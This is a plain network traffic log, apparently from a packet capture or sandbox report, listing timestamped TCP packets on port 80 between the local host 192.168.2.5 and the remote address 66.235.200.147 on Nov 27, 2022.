Nov 27, 2022 04:36:42.867782116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867799997 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.867800951 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.867806911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867824078 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.867836952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867862940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867887020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867913961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867914915 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.867933035 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.867942095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867968082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867991924 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.867993116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868021011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868046045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868072987 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868073940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.868092060 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.868105888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868132114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868158102 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.868159056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868185997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868236065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.868428946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868454933 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868482113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868505955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868513107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.868532896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868534088 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.868561029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868587017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868613005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868614912 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.868638992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868644953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.868665934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868694067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868709087 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.868721008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868747950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868758917 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.868774891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868803024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868808031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.868832111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868856907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868875980 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.868882895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868908882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868916988 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.868936062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868959904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.868984938 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.868984938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869012117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869035959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869036913 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.869061947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869071960 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.869087934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869118929 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.869436979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869463921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869489908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869517088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869529009 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.869543076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869560957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.869570017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869597912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869616032 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.869623899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869651079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869654894 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.869677067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869703054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869729042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869730949 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.869756937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869772911 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.869784117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869808912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869822025 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.869836092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869862080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869868040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.869889021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869914055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869939089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.869942904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.869963884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870027065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870053053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870078087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870105028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870131969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870131016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.870131969 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.870131969 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.870199919 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.870384932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870410919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870434999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870461941 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870472908 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.870487928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870515108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870526075 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.870539904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870567083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870579958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.870593071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870619059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870644093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870670080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870677948 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.870697975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870697975 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.870718002 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.870724916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870752096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870765924 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.870779037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870804071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870831013 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870831966 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.870857000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870857000 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.870899916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870923996 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.870928049 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870954037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.870980024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.871005058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.871006966 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.874851942 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.887221098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887259007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887284040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887306929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887330055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887345076 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.887356043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887382030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887399912 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.887399912 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.887408018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887433052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887459040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887473106 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.887480974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887490988 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.887506008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887530088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887547970 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.887554884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887581110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887593031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.887603998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887628078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887641907 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.887653112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887676001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887698889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887712002 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.887722969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887737989 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.887749910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887774944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887797117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887809992 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.887825012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887830019 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.887849092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887875080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887897015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887916088 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.887933016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887940884 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.887958050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.887980938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888004065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888026953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888036966 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.888050079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888062954 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.888076067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888097048 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.888098955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888123035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888134956 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.888147116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888170958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888192892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888199091 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.888216019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888221979 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.888241053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888263941 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888286114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888303995 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.888309002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888330936 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.888333082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888355970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888371944 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.888379097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888401985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888426065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888438940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.888448000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888462067 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.888505936 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.888525009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888550043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888572931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888597012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888621092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888641119 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.888644934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888660908 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.888670921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888695955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888710976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.888720036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888745070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888767958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888780117 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.888792992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888803005 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.888818979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888844013 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888860941 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.888870001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888894081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888901949 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.888917923 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888942957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888963938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888977051 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.888988018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.888998032 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.889013052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889035940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889056921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889071941 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.889081001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889103889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889105082 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.889127970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889146090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.889410973 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.889471054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889492989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889516115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889540911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889569998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.889589071 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.889658928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889684916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889708042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889731884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889744043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.889756918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889780045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889803886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889827967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889851093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889858961 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.889858961 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.889877081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889883995 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.889900923 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889925957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889940977 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.889951944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889975071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.889996052 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.889997959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890022039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890044928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890068054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890070915 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.890070915 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.890091896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890115023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890136957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890151024 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.890160084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890170097 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.890221119 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.890477896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890501976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890525103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890549898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890568018 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.890575886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890599012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890605927 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.890624046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890645981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890662909 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.890672922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890697956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890722036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890727997 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.890748024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890749931 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.890773058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890796900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890822887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890827894 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.890846968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890870094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890883923 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.890902996 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.890909910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890933037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890954971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.890978098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891001940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891011953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.891026020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891050100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891067028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.891073942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891098976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891103029 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.891410112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891433954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891455889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891484976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.891535044 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.891571045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891593933 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891617060 CET	80	49705	66.235.200.147	192.168.2.5
